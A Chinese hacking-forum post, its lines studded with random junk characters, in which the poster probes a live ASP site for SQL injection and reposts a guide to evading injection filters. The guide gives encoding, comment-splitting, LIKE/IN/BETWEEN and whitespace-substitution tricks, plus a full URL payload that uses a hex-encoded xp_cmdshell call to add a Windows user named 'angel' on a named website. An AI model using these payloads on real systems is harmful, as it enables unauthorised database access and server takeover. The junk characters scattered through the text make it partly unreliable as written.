路过这个网站,检测了一下.3 K' C1 q$ R3 s) c" H' T
http://www.xxx.cn/Article.asp?ID=117 and 1=1
\2 \" H7 E+ u0 T$ m直接返回主页9 ]: b% S7 K1 R: f( q
http://www.xxx.cn/Article.asp?ID=117 or 1=1
8 w7 q2 }! `, M4 Q0 f/ ~直接返回主页
2 k, _/ p8 b. f! Qhttp://www.xxx.cn/Article.asp?ID=117 or
- F& u* G! m; A) S/ e没有返回主页 没有过滤or
% Q! ]5 D( v+ {http://www.xxx.cn/Article.asp?ID=117 and: J" _3 T5 K1 v6 s- `3 d
直接返回主页 看来过滤了and
, v2 |- v3 i% P" c( e* C3 Ihttp://www.xxx.cn/Article.asp?ID=117 or 1" ~, b# K/ u4 ^
没有返回主页 即没有过滤or 也没有过滤1
$ f3 r$ `# j0 K3 R, d$ F7 [; Shttp://www.xxx.cn/Article.asp?ID=117 or 1=1. I$ y& \$ G$ N2 e' e! D" _* m6 N
直接返回主页 很明显过滤了等号 1 M% B% e. {1 Q/ x7 h z
or的特性是与and相反的.1 `+ [2 N- r& c8 `% t3 t
or 1=1 爆错 或与原页面不同/ I- F. }8 s+ h4 J2 h' I
or 1=2 原页面相同
4 V# Q: N9 n/ [+ z( {这样就是一个注入点: b# b: }1 X; j) ^4 g3 f. E
但他过滤了=号 我就用><号代替=号吧!
- X+ \9 f+ a' n$ X8 L5 p, mor 1<2 很明显是正确的,所以应该与原页面不同7 y4 p0 _# }6 z
or 1>2 很明显是错误的,所以应该与原页面相同7 q& b; K, H7 K6 j- u* P4 s
然后看看有没有过滤其他的查询语句,比如select.
' J. T( c) n) N9 j* fhttp://www.xxx.cn/Article.asp?ID=117 select6 r. S J* Q9 h. e0 o
直接返回主页
( [) ^" i) d6 \1 x7 [0 O4 m又迷茫了.. e, W7 d$ H" U7 s% G
3 X: o/ s; a t& l9 |" u
) @% f0 _" d- k! W. `
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗9 \( C9 g. `$ v2 s+ y7 D& V
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)* N% L% ~; E4 v
================================================1 I3 P0 d% D8 S: C
以下是转贴:5 ^' ^2 r+ ~+ \8 ]
5 E% S" o, M% V: G突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
: X: b1 F3 Q: M4 f% n2 |" h经过我的收集,大部分的防注入程序都过滤了以下关键字:
( R, s8 {( a, Cand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
y: D2 F9 r5 q8 u2 r c而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
; m/ U5 ?: {7 ]: b& |对于关键字的过滤,以下是我收集的以及我个人的一些想法。 1 z) r) o5 D/ d- Z* @
1、运用编码技术绕过 8 U7 [7 V4 z% V+ {6 K5 U
如URLEncode编码,ASCII编码绕过。例如or 1=1即 ' \$ p/ |/ f ]7 y. V% ~
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
( f0 V. X7 @6 [* b( T0 y
- O+ a3 h9 ?! v% @8 X2、通过空格绕过
0 Z8 O3 d. B) r' G2 Z如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 % z# j( g& T# y# f! N- [7 V
or’ swords’ =‘swords’
7 h2 `; k& C) w3 \/ ~,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 . c; {3 V) W* y) C& Z
3、运用字符串判断代替
: @) ^, j9 ~. F; X用经典的or 1=1判断绕过,如 - _% d' Y1 q! D& m/ a# |
or ’swords’ =’swords’ : c2 A( Z, s( k) Q
,这个方法就是网上在讨论的。 & |* p/ V2 B0 W+ X
4、通过类型转换修饰符N绕过
4 y7 y" e# ?! y! f7 Q- z可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 # ]- \% W3 P" @4 r) |! ^
5、通过+号拆解字符串绕过 " V6 p! p2 X+ @- e% I3 ]: S3 g
效果值得考证,但毕竟是一种方法。如
5 `! Y, r- `% h( i* [% q) sor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 2 X- J0 N" p0 K& r
4 R9 L: p. k9 x/ t5 n$ v6、通过LIKE绕过 7 j! ~& _ j* o, }8 ~
以前怎么就没想到呢?如or
* D" ~0 }; M+ ]# U# B’swords’ LIKE ’sw’
, s* @# t! E- L/ H$ `!!!显然可以很轻松的绕过
3 n) ]" u4 z& F; V- C“=”“>” 7 A6 E) C; D! X; W- i3 q. Y& t
的限制……
) {1 K8 Q z' Z7、通过IN绕过 9 g4 l( @, q8 a7 x
与上面的LIKE的思路差不多,如
7 G% Z1 d; r5 g/ w& Tor ’swords’ IN (’swords’)
7 I& b; I4 P `' R; ?
! u% @7 g) g3 h$ ]& h4 c" G8、通过BETWEEN绕过 7 Z% s) L% Z* }( s3 X. j
如 " g6 G- L( T* ^4 o% E1 j8 n
or ’swords’ BETWEEN ’rw’ AND ’tw’ # z: j1 |8 g; f$ _9 P
% [ V& h; @. S ?4 j* s
9、通过>或者<绕过
" V( }4 `3 B$ mor ’swords’ > ’sw’ 8 _) ^! ?3 b1 x! t
or ’swords’ < ’tw’
/ L% W/ \( T; p2 `/ p2 cor 1<3
" ^1 O: E Z; `# c$ X6 D. c…… . x" X3 S- o# C1 i( q5 ^
10、运用注释语句绕过
1 u0 v7 R' A& W用/**/代替空格,如:
( V" ]% n9 G; Q1 w: q, Y3 P1 Y1 QUNION /**/ Select /**/user,pwd,from tbluser
; P! J% g6 _+ P# ~3 b
: f) p4 C1 Y k- ?用/**/分割敏感词,如:
' a% x6 ^, _; S7 vU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 5 {* L% I2 x% f
4 P$ L( z5 t' |% Z. C. ?11、用HEX绕过,一般的IDS都无法检测出来 ! H9 k$ j5 @ G3 J0 f. e4 E
0x730079007300610064006D0069006E00 =hex(sysadmin) 7 ^8 e/ v' n' Z, u" |
0x640062005F006F0077006E0065007200 =hex(db_owner)
9 I |5 F8 ~9 n; _! S另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
+ n6 h9 n9 M8 w* N1 D declare @a sysname
) S5 K& J5 ~. J% v select @a= 0 D# O2 W7 A( w3 X8 M
exec master.dbo.xp_cmdshell @a $ `# x# D9 i, k
效果
8 d3 O; T& U4 Jhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
1 T0 o4 g8 g4 C! I9 O' x; d. W" {- r) x" P, H$ r& R
其中的
, n2 z1 _; v3 O* G5 W' j2 d0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 ( E! W' k5 @/ ?: B' ?
就是
% G4 a# Z4 c2 e j f6 K- Z“net user angel pass /add”. Y" j1 K) r+ W y% q- c
) \; U/ R O0 @) y2 h- a
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
4 l( B V: f# `- Z0 I# j3 x+ L引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。7 [( ?* [, ~( s
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
2 Q; y: t, |% o s5 G& s4 yCopy code
' _7 S2 ` P0 p! o# ]4 w1 y: Oselect * from table exec xp_cmdshell'xxxxxxxxxx' H6 Z8 a; L1 y$ K. _, }
1 e, m& U" O& Y3 U/ g6 W/ ]. {
. Z3 B; W* e: f" G9 [
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'8 S9 z! ~7 I8 ]+ s' ?9 n
& M/ x7 A+ _, m+ X# P
$ _ W0 @; J# v" hselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'5 o8 ]1 A' P2 K) d" g
5 D" ~3 h& O+ B6 R% b2 n% J
' c. u3 D) E2 s3 E9 ?" k
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'" w2 `: V, y- J8 F* t. b" M
1 u p7 z7 U+ C. C4 t+ ~$ A
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
+ M0 J9 ^2 q$ _# u, y! c
) o( f. q4 t& Y2 [$ M" E3 Z0 [这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
' I: T0 i. _' v; w可能大家早就知道了,不管怎么说,发在这里吧!
. @8 N5 K" x x8 n# G* k+ g7 I5 r8 G; \& U0 p w" C
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。- t8 Y, Z6 p- f/ o
5 G$ p! k" J6 X# y. J
$ @/ `! I6 e3 P! O H! Z+ ~) |
; I# b# h3 M% O6 H% Z1 O
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,3 _( Z2 d1 H7 B8 ]& A, U b' `
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
8 J4 e2 @/ U% S' v1 h! {
. s1 {* _- |. } |